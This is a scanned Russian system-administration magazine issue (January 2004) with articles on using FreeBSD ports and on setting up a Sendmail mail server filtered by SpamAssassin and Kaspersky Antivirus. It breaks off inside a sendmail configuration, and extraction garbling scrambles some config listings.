фирмпоставщиков оборудования и решений. Практически все крупные западные вендоры присутствуют на выставке непосредственно или при посредстве своих российских партнеров. В соответствии с растущими потребностями рынка и увеличением числа участников экспозиция расширила площадь, которая в этом году составит 8000 кв. м. В выставках, которые пройдут в течение 4 дней, примут участие 250 ведущих компаний отрасли из 25 стран мира. Ожидается, что число посетителей выставки превысит 75 000 человек, включая руководителей верхнего и среднего звена, технических специалистов и IT-администраторов, из более 500 городов России и СНГ. «IT Week 2004», 15-ая Международная Выставка Информационных Технологий пройдет в «Экспоцентре» на Красной Пресне в Москве с 26 по 29 апреля 2004 года.

администрирование

ЭФФЕКТИВНАЯ РАБОТА С ПОРТАМИ В FreeBSD Статья полностью посвящена портам в FreeBSD, хотя большинство примеров актуальны и для других *BSD-систем.

ВЛАДИМИР ОСИНЦЕВ 62

администрирование В рамках данной статьи «порт» происходит от слова «портировать» и обозначает скрипт, с помощью которого можно просто установить программу в систему из исходников или удалить ее из системы. Давным-давно в FreeBSD образовалась так называемая «коллекция портов», которая на данный момент насчитывает более 9000 программ. Система портов конкурирует с прекомпилированными rpm- и deb-пакетами, являясь более удобным средством для установки и удаления программ, обновления как отдельных, так и всех компонентов системы (стоит отметить, что порты не предоставляют альтернативу и являются ОС-зависимыми). Все основные системы BSD-семейства (NetBSD, OpenBSD, ну и, конечно, FreeBSD) оснащены своими коллекциями портов. Аналогом портов обладают все «source-based» дистрибутивы GNU/Linux, самый известный из которых – Gentoo (http://gentoo.org), со своей системой портежей («portage»). С помощью портов программы устанавливаются из исходных текстов, т.е. закачиваются исходники, распаковываются, настраиваются, компилируются и устанавливаются в систему, всю работу на себя берет порт. Но также система портов умеет работать и с прекомпилированными пакетами с расширением tbz, что представляет собой tar.bz2 архив с дополнительной информацией в конце файла. В рамках статьи и порт, и пакадж, и пакет обозначают одно и то же. Сегодня мы не будем рассматривать обновление дерева портов с помощью утилиты CVSup, читайте соответствующую главу «FreeBSD Handbook».

Поиск по коллекции портов В коллекции портов находится свыше 9000 программ, поэтому эффективный поиск очень важен. Система портов предоставляет достаточно обширные средства поиска, самое простое и популярное из них: # cd /usr/ports # make search name=opera Port: opera-7.21.20031013 Path: /usr/ports/www/opera Info: A blazingly fast, full-featured, ↵ standards-compliant browser Maint: avleeuwen@piwebs.com Index: www B-deps: ... R-deps: ... ...

Здесь был использован поиск по названию порта (был выведен список портов, в названии которых встречается слово «opera»), как альтернативу, можно использовать поиск по ключевому слову: # make search key=dvd Port: dvdrip-0.48.8 Path: /usr/ports/multimedia/dvdrip Info: This is dvd::rip, a Perl Gtk+ based dvd-ripper Maint: michaelnottebrock@gmx.net Index: multimedia B-deps: ... R-deps: ... ...

Более расширенные средства поиска предоставляет скрипт «portsearch», который находится в каталоге

№1(14), январь 2004

/usr/ports/Tools/scripts. Нужно сказать, что в этом каталоге есть много полезных скриптов, из которых сегодня мы рассмотрим лишь малую часть (читайте README, чтобы узнать назначение других скриптов из этого каталога). Главное отличие «portsearch» от «make search» – это поддержка логических выражений, как в Perl, к тому же возможность поиска не только «в названии» или «по ключевому слову». Как пример рассмотрим: # ñd /usr/ports/Tools/scripts # ./portsearch -n "^xmms" -p "(audio|multimedia)" -i "plugin"

Эта команда выведет список портов, название которых начинается с xmms (выражение ^xmms), из каталогов /usr/ports/audio или /usr/ports/multimedia (выражение (audio|multimedia)), в описании которых есть слово «pligin». Описание других ключей смотрите в файле README.portsearch из каталога программы. Как вариант, утилита «portsearch» может производить поиск по дереву портов, которое находится на удаленной машине, например, поиск по самой последней версии портов может выглядеть так: # ./portsearch -n "^xmms" -f ↵ ftp://ftp.freebsd.org/pub/FreeBSD/branches/-current/ports/INDEX

Информация о коллекции портов индексируется в файле /usr/ports/INDEX, чтобы поиск был максимально быстрым, но при изменении в дереве портов файл INDEX, который используют, и «make search», и «portsearch» остается прежним. Для повторного индексирования портов: # cd /usr/ports && make index

Просмотр зависимостей Один из способов просмотра зависимостей того или иного порта является: # cd /usr/ports/www/opera # make pretty-print-build-depends-list This port requires package(s) "XFree86-libraries-4.3.0_5 compat4x-i386-5.0.20030328 expat-1.95.6_1 fontconfig-2.2.0 freetype2-2.1.4_1 imake-4.3.0 perl-5.6.1_13 pkgconfig-0.15.0 png-1.2.5_2" to build.

Мы получили список необходимых пакетов для сборки порта веб-браузера «Opera». Как вариант можно использовать «make pretty-print-run-depends-list» для просмотра Run-зависимостей (пакеты, необходимые для запуска порта).

Проверка зависимостей до удаления До того как удалить пакет из системы, неплохо посмотреть список пакетов, которые зависят от него, чтобы ничего не сломать. Например, по команде «pkg_info | less» вы увидите, что в системе установлен пакет ORBit2-2.6.2. Название пакета ничего не говорит, по-моему, вы его ни разу не использовали, и хорошо было бы удалить его, но сначала посмотрим, какие пакеты зависят от него.

администрирование # pkg_info -R ORBit2-2.6.2 Information for ORBit2-2.6.2: Required by: libgnome-2.2.0.1 nautilus2-2.2.4 gnome2-2.2.1_1 ...

Как видим, удалять этот пакет было плохой идеей, т.к. от него зависят необходимые нам программы и библиотеки. Нарушение зависимостей в лучшем случае приведет к неработоспособности программы. Конечно, при попытке удаления командой «pkg_delete ORBit2-2.6.2» мы увидим то же самое сообщение о зависимых от него пакетах и ORBit2 не будет удален, но лучше все равно делать это с помощью «pkg_info».

Просмотр установленных пакетов «pkg_info» – утилита для просмотра установленных пакетов. Настоятельно рекомендую прочитать man-страницу, т.к. сегодня мы рассмотрим лишь пару возможностей. При использовании ключа «-a» будет отображена информация о всех установленных пакетах, как альтернативу вы можете использовать название пакета. Например, команда «pkg_info -ac» выдаст короткие комментарии (ключ «-c») ко всем установленным пакетам, в свою очередь «pkg_info -c sudo-1.6.7.4» выдаст комментарий к пакету «sudo». Если вы хотите прочитать полное описание вместо коротких комментариев, используйте ключ «-d» вместо «-c». Если вам, как и мне, не очень нравится помнить версию пакета, то с помощью ключа «-x» можно избавиться от этой необходимости.

Information for opera-7.21.20031013: Files: /usr/X11R6/bin/opera /usr/X11R6/share/doc/opera/LICENSE /usr/X11R6/share/doc/opera/help /usr/X11R6/share/opera/bin/m2.so ...

Хороший способ узнать, что и куда устанавливалось.

Навигация по коллекции портов При обновлении дерева портов файлы README.html, которые генерируются при помощи информации из самого порта, остаются старыми и могут отражать устаревшую информацию: сайт программы, описание, Run и Build зависимости. Для обновления README-файлов сделайте: # ñd /usr/ports # make readmes

Далее вы можете просматривать актуальную информацию при помощи вашего любимого браузера. Ту же информацию вы можете найти на http://freebsd.org/ports.

Статус установленных пакетов Один из способов посмотреть список установленных пакетов – это утилита «pkg_version». # pkg_version | less gnome2 = nvidia-driver < opera = vim < ...

Эта команда равнозначна предыдущей, но она выведет информацию о всех установленных пакетах, чье название начинается с sudo (в нашем случае это единственный пакет).

Мы получили список всех установленных пакетов, который состоит из названия и одного символа, из них основные: «=» – установлена последняя версия пакета; «<« – доступна для установки новая версия пакета, рекомендую обновиться; «>» – когда установленная версия старше, чем в коллекции портов. Иногда бывает, когда, например, устанавливаются самодельные порты.

Просмотр подробной информации о пакетах

Теперь попробуем просмотреть список пакетов, которые нужно обновить:

# pkg_info -xc sudo Information for sudo-1.6.7.4: Comment: Allow others to run commands as root

После инсталляции порта (особенно в автономном режиме) неплохо посмотреть, были или нет post-install-сообщения, для этого используется ключ «-D». Например, я поcтавил на ночь обновляться систему, среди всех портов был www/opera (одноименный веб-браузер), а уже утром я смог посмотреть какие были сообщения от всех портов и от www/opera в частности, для этого «pkg_info -xD opera», теперь я знаю, что при апгрейде веб-браузера от 6.x до 7.x нужно сделать backup каталога ~/.opera, иначе вся информация (история, закладки, почта и прочее) могла быть утеряна. Еще один полезный ключ «-L», позволяет просмотреть список установленных файлов из данного порта. Например: # pkg_info -xL opera

# pkg_version -l "<" nvidia-driver < vim < ...

Обычно, «pkg_version» используют после обновления локальной коллекции портов, например, с помощью CVSup (об этом читайте в FreeBSD Handbook). Но можно проверить статус установленных пакетов относительно «свежей» коллекции портов: # pkg_version -v ftp://ftp.freebsd.org/pub/FreeBSD/ ↵ branches/-current/ports/INDEX | less

При необходимости можно использовать ключ -l (см. выше) для просмотра только тех пакетов, которые уже устарели.

администрирование Проверка целостности установленных пакетов Еще одна интересная утилита «consistency-check» позволяет проверить целостность установленных в систему пакетов. При запуске: # cd /usr/ports/Tools/scripts # ./consistency-check

Утилита покажет вам, из каких пакетов какие файлы были удалены, изменены и файлы, которые не принадлежат не одному из портов. Данную утилиту полезно использовать не только для общего мониторинга системы, но и как security-сканер, т.к. вы всегда можете посмотреть, у каких файлов md5checksum отличается от оригинальных.

Освобождение свободного места на диске Когда порт устанавливается в систему на локальный компьютер, в директорию /usr/ports/distfiles закачиваются необходимые исходные тексты, после чего порт компилируется и инсталлируется. При обновлении порта уже закачиваются новые версии исходников (старые остаются). При удалении порта исходные тексты также остаются в distfiles/. Через какое-то время мы получаем, что distfiles/ содержит очень мало «нужного». Конечно, вместо «make install clean» можно использовать «make install clean distclean», т.е. после загрузки, сборки и установки исходники будут удалены, но необходимо, чтобы в distfiles/ сохранялись только свежие исходники – это позволяет сэкономить трафик и время при медленном канале, а значит, и ваши деньги. Для очистки диска нам понадобится набор утилит «portupgrade», который нужно обязательно иметь, если вы так или иначе собираетесь использовать порты. Если порт не установлен, тогда: # cd /usr/ports/sysutils/portupgrade # make install clean

Теперь можно начать с удаления каталогов work/, в которых находятся уже распакованные исходные тексты, которые мы забыли удалить при помощи цели «clean», которую мы добавляем к «make». # portsclean -C Cleaning out /usr/ports/*/*/work... Delete /usr/ports/news/gnus-emacs20/work ...

Утилита имеет еще одну возможность, которая нас интересует больше всего: удаление неактуальных файлов из distfiles/ # portsclean -DD Detecting unreferenced distfiles... Delete /usr/ports/distfiles/KDE/qt-x11-free-3.1.2.tar.bz2 ...

Эту же операцию можно проделать и с помощью встроенной утилиты «distclean»:

№1(14), январь 2004

# cd /usr/ports/Tools/scripts # ./distclean

Она проделает то же самое: сверит md5checksum исходных текстов из установленных портов и удалит те, которые не соответствуют. Заметьте, что будут удалены, например, еще недокачанные файлы, потому что md5checksum отличается от полного файла.

Настройка параметров коллекции портов Когда вы установили пакет «portupgarde» в системе, кроме всего, в каталоге /usr/local/etc были созданы файлы pkgtools.conf и pkgtools.conf.sample. Sample-файл оставьте как есть, он имеет хорошие комментарии и послужит хорошим примером. Файл pkgtools.conf содержит параметры переменных окружения для утилит из пакета «portupgrade». Например, по умолчанию директория для хранения временных файлов является /var/tmp. На некоторых системах, где под раздел /var отведено недостаточно места, могут возникнуть проблемы. Для их решения достаточно сделать так, чтобы временные файлы хранились не в /var/tmp, а к примеру на /usr/tmp. Для этого в pkgtools.conf достаточно изменить строку: #

ENV['PKG_TMPDIR'] ||= '/var/tmp'

на ENV['PKG_TMPDIR'] ||= '/usr/tmp'

Обратите внимание на символ «#»: вы должны раскомментировать строку, иначе значение переменной окружения не вступит в силу. Другая интересная часть файла pkgtools.conf – это «IGNORE_CATEGORIES». В этом массиве, который по умолчанию пуст, содержатся названия игнорируемых категорий (директории в /usr/ports), обычно игнорируются языковые категории. Лично у меня игнорируются следующие категории: chinese, french, german, hebrew, japanese, korean, ukrainian, vietnamese, astro, biology, palm, portuguese, hungarian, games. Заполните массив «IGNORE_CATEGORIES», как это сделано в комментариях файла pkgtools.conf, после чего обязательно выполните команду: # portsdb -Ufu

Которая обновит информацию о коллекции портов. В итоге поиск в игнорируемых каталогах производиться не будет и порты из этих категорий будут удалены из Run и Build зависимостей других портов.

Настройка параметров сборки порта В файле pkgtools.conf (см. выше) есть возможность задать массив «MAKE_ARGS», в котором хранятся параметры сборки портов. Чтобы понять, о чем идет речь, нужно вспомнить, что некоторые порты мы собираем с указанием параметров, например, «ITH_GUI=yes» при сборке порта multimedia/mplayer, т.е.:

администрирование # cd /usr/ports/multimedia/mplayer # make WITH_GUI=yes WITH_LANG=ru install clean

Этот массив служит для того, чтобы не задавать параметры каждый раз при сборке порта, т.е. при команде «portupgrade» пакеты будут обновлены с заданными параметрами. По умолчанию в файле pkgtools.conf массив «MAKE_ARGS» пуст, исправьте его, чтобы он выглядел, например, так: MAKE_ARGS = { 'multimedia/mplayer-*' => 'WITH_GUI=yes WITH_LANG=ru', 'multimedia/xmms-*' => 'WITHOUT_MIKMOD=yes', }

Запись имеет следующий синтаксис: название порта пишется вместе с названием категории, заключается в одиночные кавычки и должно оканчиваться на символы «-*».

Затем идет «=>», после чего список параметров, который также заключается в одиночные кавычки. Как видите, элементы массива записываются через запятую.

Заключение Вот, наверное, и все. Как видите, порты – это очень мощная и удобная система, которой нужно просто уметь пользоваться, а уметь ею пользоваться просто, как вы сегодня узнали.

Ссылки: 1. 2. 3. 4. 5. 6.

http://freebsd.org http://freebsd.org/ports http://freshports.org http://freshmeat.net http://sourceforge.net http://freebsd.org.ru

администрирование

ПОЧТОВЫЙ СЕРВЕР С ЗАЩИТОЙ ОТ СПАМА И ВИРУСОВ НА ОСНОВЕ FreeBSD

В данной статье будет описана процедура настройки почтового сервера для фильтрации спама и проверки входящей и исходящей почты на вирусы. В качестве базовой системы я использовал связку FreeBSD 5.1 + Sendmail + SpamAssassin + Kaspersky Antivirus.

ГЕННАДИЙ ДМИТРИЕВ 68

администрирование Так сложилось, что изучать Unix-системы я начал именно с FreeBSD, и много позже довелось настраивать многие Linux-системы. На мой взгляд, очень субъективный, FreeBSD имеет самую грамотную организацию. Что касается почтовой программы Sendmail, с давних пор использую её в качестве базовой, остальные пакеты – SpamAssassin, Kaspersky Antivirus и модули для подключения к почтовому серверу были выбраны экспериментально. С десяток компонентов, перепробованных мной, либо некорректно работали, либо давали неприемлемый результат. Вы можете легко использовать данный документ, настраивая систему на FreeBSD 4.5-4.9, 5.0, но важным звеном является обновление дерева портов, поскольку в прошлых версиях FreeBSD многие модули отсутствуют. Обновив дерево портов, вы получите доступ в этим модулям. Ограничения по количеству обслуживаемых пользователей на саму систему вряд ли распространяются. Они устанавливаются только железом. Сервер P4 512 Мб RAM 18 Гб SCSI HDD может легко обслужить 4-5 сотен пользователей. В частности, мой сервер P100 64 Мб RAM 540 Мб + 1 Гб SCSI HDD обслуживает 50 пользователей. Правда с трудом, но помимо почтовой системы на нём стоит Squid, Apache, Bind и много чего ещё. Итак, выбор данных компонентов обусловлен: наличием модулей в стандартных портах FreeBSD; достаточно легко настраивается; имеет адаптивную систему обучения; имеет несколько сотен параметров настройки, с помощью которых можно подстраивать систему под ваши требования; в процессе своей работы система самостоятельно обучается. Вам достаточно будет следить и корректировать входные параметры. Статья рассчитана на хорошо подготовленного пользователя. Поэтому, если вы не знакомы с Unix-системами, вряд ли она вам чем-нибудь поможет. Итак, вся процедура состоит из нескольких частей: Обновление дерева портов. Обновление почтового демона. Установка и настройка демона spamd, который разбирает сообщение по кусочкам и ставит спам-балл. Если балл превышает некую цифру, которую вы можете изменять, письмо преобразуется определенным образом. Установка и настройка milter (spamass-milter) для почтового демона. Он будет передавать сообщение демону spamd и принимать его обратно, пересылая дальше по цепочке. Установка и настройка Kaspersky Antivirus. В пояснении не нуждается. Установка и настройка milter (kavmilter) для почтового демона. Он будет передавать сообщение Kaspersky Antivirus. Настройка самого почтового демона. Обучение системы. Последние штрихи, ссылки и благодарности.

Обновление дерева портов Для начала обновим дерево портов:

№1(14), январь 2004

cd /home/user mkdir cvsup cd cvsup

Далее в домашнем каталоге создаем для большего удобства два файла. Один со списком обновляемых портов, другой со скриптом запуска. cd /home/user mkdir cvsup cd cvsup vi cvsup.ports # =====íà÷àëî ôàéëà cvsup.ports========= *default host=cvsup.FreeBSD.org *default base=/usr *default prefix=/usr *default release=cvs *default tag=. *default delete use-rel-suffix compress ports-mail ports-net ports-security ports-sysutils ports-www # =====êîíåö ôàéëà cvsup.ports==========

Здесь вы можете обновлять все порты, систему, если вам это необходимо. Для меня было достаточно этих портов. vi cvsup.sh # =======íà÷àëî ôàéëà cvsup.sh========== #!/bin/sh /usr/local/bin/cvsup -g -L 2 cvsup.ports # =======êîíåö ôàéëà cvsup.sh=========== chmod +x cvsup.sh

Из обновленных портов понадобится поставить следующие (технология стандартная, make & make install): /usr/ports/mail/sendmail /usr/ports/mail/p5-Mail-SpamAssassin /usr/ports/mail/spamass-milter /usr/ports/mail/kavmilter

Обновление почтового демона (/usr/ports/mail/sendmail) Поскольку изначально в FreeBSD 5.1 ставится Sendmail 8.12.9, обновим его до 8.12.10 из портов. После установки его будет удобно собирать отсюда: /usr/ports/mail/sendmail/work/sendmail-8.12.10/cf/cf

Как – поясню чуть позже. Дополнительно в каталоге /usr/ports/mail/sendmail необходимо сделать: make mailer.conf

Установка и настройка демона spamd (/usr/ports/mail/p5-Mail-SpamAssassin) Далее, с sendmail все понятно. Для остальных портов небольшие пояснения. Основной демон, фильтрующий вашу почту – spamd. Его конфигурационный файл находится здесь:

администрирование /usr/local/etc/mail/spamassassin/local.cf # ==========íà÷àëî ôàéëà local.cf======== # don't use agent use_razor2 0 use_dcc 0 use_pyzor 0 # check rdl skip_rbl_checks 0

Стоит добавить пользователя filter, группу filter, создать каталог /var/spool/filter и назначить пользователя filter его владельцем.

# autowhitelist use_auto_whitelist 1 auto_whitelist_path /var/spool/filter/.spamassassin/auto_whitelist

vipw filter:*:1025:1025::0:0:Mail Filter:/var/spool/filter: ↵ /sbin/nologin

# bayes use_bayes 1 bayes_path /var/spool/filter/.spamassassin/bayes bayes_expiry_max_db_size 1500000

vi /etc/group filter:*:1025:filter

auto_learn 1 ok_languages en ru de ok_locales en ru de # rewrite subject rewrite_subject subject_tag

1 *SPAM*_HITS_ points* :

required_hits

3.5

# user rules allow_user_rules

# report options always_add_report report_safe report_charset

1 0 koi8-r

# score options score FROM_ILLEGAL_CHARS score HEAD_ILLEGAL_CHARS score SUBJ_ILLEGAL_CHARS score SUBJ_HAS_SPACES score NO_REAL_NAME score PENIS_ENLARGE score PENIS_ENLARGE2 score FROM_HAS_MIXED_NUMS score FORGED_IMS_TAGS

mkdir /var/spool/filter chown filter:filter /var/spool/filter

Как я уже говорил, мне удобнее, когда сообщения от разных демонов пишутся в разные лог-файлы. Поэтому, чтобы перенаправить сообщения от spamd в другой файл, создадим пустой файл spamd.log: cd /var/log cat >./spamd.log chown filter:filter spamd.log

И скорректируем содержимое двух файлов syslog.conf и newsyslog.conf: 1.5 1.5 1.5 2.5 1.0 3.5 3.5 1.0 0.5

# network whitelist whitelist_from localhost whitelist_to spam@mycompany.ru # ==========êîíåö ôàéëà local.cf=========

Файл /usr/local/etc/rc.d/spammerdaemon.sh. Собственно скрипт, запускающий сам демон. Обратите внимание на два параметра. Первый -u filter означает, что демон запускается от некоего виртуального пользователя, имеющего ограниченные права. Про самого пользователя чуть ниже. Второй параметр -s local5. Это вывод сообщений в другой файл-лог. Изначально демон spamd все пишет в maillog. Мне это не понравилось, я вывел сообщения от него в другой файл. Так удобнее анализировать. В принципе я бы вообще его отключил, да вот в документации не нашел как. # =========íà÷àëî ôàéëà spammerdaemon.sh== #!/bin/sh case "$1" in start) kill `ps ax | grep spamd | grep -v grep | awk '{print $1}' | ↵ head -1` >/dev/null 2>/dev/null && echo -n ' spamd' [ -x /usr/local/bin/spamd ] && /usr/local/bin/spamd -d -a ↵ -u filter -x -s local5 && echo -n ' spamd' ;; stop) kill `ps ax | grep spamd | grep -v grep | awk '{print $1}' | ↵ head -1` >/dev/null 2>/dev/null && echo -n ' spamd' ;; *) echo "Usage: `basename $0` {start|stop}" >&2 ;;

esac exit 0 # =========êîíåö ôàéëà spammerdaemon.sh===

# ========äîáàâêà â ôàéë syslog.conf====== local5.* /var/log/spamd.log # =========êîíåö ôàéëà syslog.conf======== # ======äîáàâêà â ôàéë newsyslog.conf===== /var/log/spamd.log filter:filter 640 3 2000 * Z # =======êîíåö ôàéëà newsyslog.conf=======

Установка и настройка milter (spamass-milter) для почтового демона (/usr/ports/mail/spamass-milter) Собственно сам демон, разбирающий почту по косточкам, готов. Перейдем к настройкам milter, который будет передавать письмо от sendmail к spamd. При установке spamass-milter файл, объясняющий процедуру активизации фильтра, лежит здесь: /usr/local/share/doc/spamassmilter/activation.txt. Из всего этого я вынес для себя только одну полезную строчку: INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/ ↵ spamass-milter.sock, F=, T=C:15m;S:4m;R:4m;E:10m')

Её надо будет добавить в ваш конфигурационный файл Sendmail. Ну и собственно скрипт для запуска milter-фильтра. Там ничего сложного нет. Единственное изменение, которое я сделал, – добавил в скрипт адрес, на который будет пересылаться почта, идентифицированная как «СПАМ». /usr/local/etc/rc.d/spamass-milter.sh # =======íà÷àëî ôàéëà spamass-milter.sh=== #!/bin/sh DAEMON=/usr/local/sbin/spamass-milter SOCKET=/var/run/spamass-milter.sock PIDFILE=/var/run/spamass-milter.pid SPAMADRESS=spam@mycompany.ru case "$1" in start) if [ -f "${DAEMON}" -a -x "${DAEMON}" ]

администрирование then "${DAEMON}" -b "${SPAMADRESS}" -p "${SOCKET}" -f & echo $! > "${PIDFILE}" sleep 1 kill -HUP `head -1 /var/run/sendmail.pid` echo -n ' spamass-milter running' fi ;; stop) if [ -f "${PIDFILE}" ] then read -r pid junk < "${PIDFILE}" kill ${pid} rm -f "${SOCKET}" "${PIDFILE}" sleep 1 kill -HUP `head -1 /var/run/sendmail.pid` echo -n ' spamass-milter stopped' fi ;; esac # ========êîíåö ôàéëà spamass-milter.sh===

Установка и настройка Kaspersky Antivirus С настройками фильтров, определяющих наличие спама в сообщениях, покончено. Перейдем к установке Kaspersky Antivirus и milter для Sendmail. Соответственно качаем: kav-MailServer-4.0.4.0-FreeBSD-4.x.tgz tar xzvf kav-MailServer-4.0.4.0-FreeBSD-4.x.tgz pkg_add kav-WorkStationSuite-4.0.4.0-FreeBSD-4.x.tgz Из всего, что поставится в каталог /usr/local/share/AVP, интересны только эти файлы: kavdaemon kavscanner defUnix.prf AvpUnix.ini Содержание конфигурационных файлов: # =======íà÷àëî ôàéëà AvpUnix.ini========= [AVP32] DefaultProfile=/usr/local/share/AVP/defUnix.prf [Configuration] KeysPath=/usr/local/share/AVP SetFile=avp.set BasePath=/usr/local/share/AVP/Bases SearchInSubDir=No UpdatePath=http://downloads2.kaspersky-labs.com/updates/ # ========êîíåö ôàéëà AvpUnix.ini=========

В следующем файле многие параметры настройки опущены, поскольку не имеют принципиального значения: # =======íà÷àëî ôàéëà defUnix.ini========= # same section with parameters for objects [Object] Names=*/home;*/tmp;*/var/tmp;/usr/src;/mnt/cdrom;/usr/tmp;/tmp/kav Memory=No Sectors=No ScanAllSectors=No Files=Yes FileMask=2 UserMask=*.tar.gz ExcludeFiles=0 ExcludeMask=*.txt *.cmd ExcludeDir= Packed=Yes Archives=Yes SelfExtArchives=Yes MailBases=Yes MailPlain=Yes Embedded=Yes InfectedAction=3 BackupInfected=No IfDisinfImpossible=1

№1(14), январь 2004

Warnings=Yes CodeAnalyser=Yes RedundantScan=No SubDirectories=Yes CrossFs=Yes # global(common) options sections [Options] ScanRemovable=Yes ScanSubDirAtEnd=No ParallelScan=No LimitForProcess=16 EndlesslyScan=No ScanDelay=-1 Symlinks=1 [Report] Report=Yes UseSysLog=No ReportFileName=/var/log/kav/kavscan.rpt Append=Yes ReportFileLimit=Yes ReportFileSize=500 RepCreateFlag=600 ExtReport=No WriteTime=Yes WriteExtInfo=No UseCR=No RepForEachDisk=No LongStrings=Yes UserReport=No UserReportName=/var/log/kav/userreport.log # Showing objects ShowOK=No ShowPack=No ShowPassworded=No ShowSuspision=No ShowWarning=No ShowCorrupted=No ShowUnknown=No # Action with infected files [ActionWithInfected] InfectedCopy=No # Action with suspicion files [ActionWithSuspicion] SuspiciousCopy=No # Action with corrupted files [ActionWithCorrupted] CorruptedCopy=No [TempFiles] UseMemoryFiles=Yes LimitForMemFiles=6000 MemFilesMaxSize=20000 TempPath=/tmp [Priority] Father=0 Child=0 [Customize] Sound=No UpdateCheck=No UpdateInterval=90 OtherMessages=No RedundantMessage=No DeleteAllMessage=No ExitOnBadBases=Yes UseExtendedExitCode=Yes # ========êîíåö ôàéëà defUnix.ini=========

Здесь я кое-что изменил. Во-первых, при установке Kaspersky Antivirus он пытается свои конфигурационные файлы поместить в /etc/Avp. Мне это не понравилось, я выкинул оттуда все и поместил в домашний каталог Kaspersky Antivirus: /usr/local/share/AVP. Далее создал два каталога, где будут храниться лог-файлы и временные файлы для проверки на вирусы. mkdir /var/log/kav mkdir /tmp/kav

администрирование Установка и настройка milter (kavmilter) для почтового демона (/usr/ports/mail/kavmilter) Процедура все та же: make & make install. При установке kavmilter создаются три файла, один файл запуска самого kavmilter, второй файл запуска демона kavdaemon, третий конфигурационный. Там много изменений, потому просто содержимое файлов: /usr/local/etc/kavmilter.conf # =======íà÷àëî ôàéëà kavmilter.conf======== SendmailPipe = /var/run/kavmilter KAVPipe = /var/run/AvpCtl PIDFile = /var/run/kavmilter.pid TempDirectory = /tmp/kav KAVTimeout = 60 SendmailTimeout = 300 DebugLevel = 0 DaemonMode = yes InfectedAction = discard # ========êîíåö ôàéëà kavmilter.conf======== # =======íà÷àëî ôàéëà kavmilter.sh========== #!/bin/sh PREFIX=/usr/local/libexec PIPE=/var/run/kavmilter KAVPIPE=/var/run/AvpCtl PIDFILE=/var/run/kavmilter.pid TEMPDIR=/tmp/kav DPARMS="-D 0" case "$1" in start) rm -f ${PIPE} > /dev/null && ↵ ${PREFIX}/kavmilter ${DPARMS} > /dev/null && ↵ echo -n ' kavmilter' ;; stop)

killall -TERM kavmilter > /dev/null && rm -f ${PIPE} && ↵ rm -f ${PIDFILE} && echo "kavmilter stopped" ;;

restart) killall -TERM kavmilter > /dev/null && rm -f ${PIPE} && ↵ rm -f ${PIDFILE} && sleep 5 && ↵ ${PREFIX}/kavmilter ${DPARMS} > /dev/null && ↵ echo "kavmilter restarted" ;; *) echo "Usage: `basename $0` {start|stop|restart}" >&2 ;; esac exit 0 # ========êîíåö ôàéëà kavmilter.sh==========

При установке Kaspersky Antivirus в /usr/local/etc/rc.d/ создается файл kavd.sh. Я его удалил, вместо него следует использовать другой, что ставится вместе с kavmilter. Некоторые строки мною изменены, потому просто содержимое файла /usr/local/etc/rc.d/kavdaemon.sh: # =======íà÷àëî ôàéëà kavdaemon.sh========== #!/bin/sh PREFIX="/usr/local/share/AVP" BINDIR="/usr/local/share/AVP" AVPDIR="/tmp/kav" AVPPIPE="/var/run" DPARMS="-Y -f=$AVPPIPE -MP -dl -MD -I0 -o{$AVPDIR} $AVPDIR" case "$1" in start) $BINDIR/kavdaemon $DPARMS && echo -n ' kavdaemon' ;; stop) [ -f $AVPDIR/AvpPid ] && $BINDIR/kavdaemon ↵ -ka > /dev/null && echo "kavdaemon terminated" ;; restart)

[ -f $AVPDIR/AvpPid ] && $BINDIR/kavdaemon ↵ -ka > /dev/null && $BINDIR/kavdaemon $DPARMS > ↵ dev/null && echo 'kavdaemon restarted' ;; *) echo "Usage: `basename $0` {start|stop|restart}" >&2 ;; esac exit 0 # ========êîíåö ôàéëà kavdaemon.sh==========

Настройка самого почтового демона Настройка sendmail для фильтрации почты от спама, вирусов и прочее. Переходим в каталог с конфигурационными файлами sendmail: cd /usr/ports/mail/sendmail/work/sendmail-8.12.10/cf/cf

Создаем файл main.mc следующего содержания: # =======íà÷àëî ôàéëà main.mc=============== divert(-1) divert(0) include(`../m4/cf.m4') VERSIONID(`$FreeBSD: src/etc/sendmail/freebsd.mc, ↵ v 1.10.2.11 2001/07/14 18:07:27 gshapiro Exp $') OSTYPE(freebsd5) DOMAIN(generic) FEATURE(`no_default_msa') DAEMON_OPTIONS(`Port=smtp, Name=MTA') FEATURE(access_db, `hash -o -T<TMPF> /etc/mail/access') FEATURE(blacklist_recipients) FEATURE(local_lmtp) FEATURE(mailertable, `hash -o /etc/mail/mailertable') FEATURE(relay_based_on_MX) FEATURE(virtusertable, `hash -o /etc/mail/virtusertable') dnl Realtime Blocking List - AntiSpam Control dnl FEATURE(dnsbl) dnl FEATURE(dnsbl, `relays.osirusoft.com', ↵ `Mail rejected - see http://relays.osirusoft.com/') FEATURE(dnsbl,`relays.ordb.org',`Mail rejected - ↵ see http://ordb.org/') FEATURE(dnsbl,`blackholes.easynet.nl',`Mail rejected - ↵ see http://blackholes.easynet.nl/') dnl FEATURE(dnsbl,ìnputs.orbz.org', `Mail rejected - ↵ see http://orbz.org/') dnl FEATURE(dnsbl,`relays.visi.com', `Mail rejected - ↵ see http://relays.visi.com/') dnl FEATURE(dnsbl, èx.dnsbl.org', `Mail rejected - ↵ see http://www.dnsbl.org/') dnl FEATURE(dnsbl,`blackholes.mail-abuse.org', ↵ `Mail rejected - see http://mail-abuse.org/') dnl FEATURE(dnsbl,`relays.mail-abuse.org',`Mail rejected - ↵ see http://work-rss.mail-abuse.org/') dnl FEATURE(dnsbl,`dialups.mail-abuse.org', ↵ `Mail rejected; see http://mail-abuse.org/dul/enduser.htm') dnl Russian DialUp Blocking List FEATURE(`dnsbl',`dul.ru',`Mail rejected - your are spammer') dnl Uncomment the first line to change the location of the default dnl /etc/mail/local-host-names and comment out the second line. dnl define(`confCW_FILE', `-o /etc/mail/sendmail.cw') define(`confCW_FILE', `-o /etc/mail/local-host-names') define(`confMAX_MIME_HEADER_LENGTH', `256/128') define(`confMAX_MESSAGE_SIZE', 5000000) define(`confNO_RCPT_ACTION', àdd-to-undisclosed') define(`confPRIVACY_FLAGS', àuthwarnings,noexpn,novrfy,noetrn,nobodyreturn,goaway, ↵ restrictmailq,restrictqrun') define(`confSMTP_LOGIN_MSG',Àntispam-MTA; ↵ "Non-authorized relaying DENIED." $b') define(`confMAX_RCPTS_PER_MESSAGE', `5') INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/ ↵ spamass-milter.sock, F=, 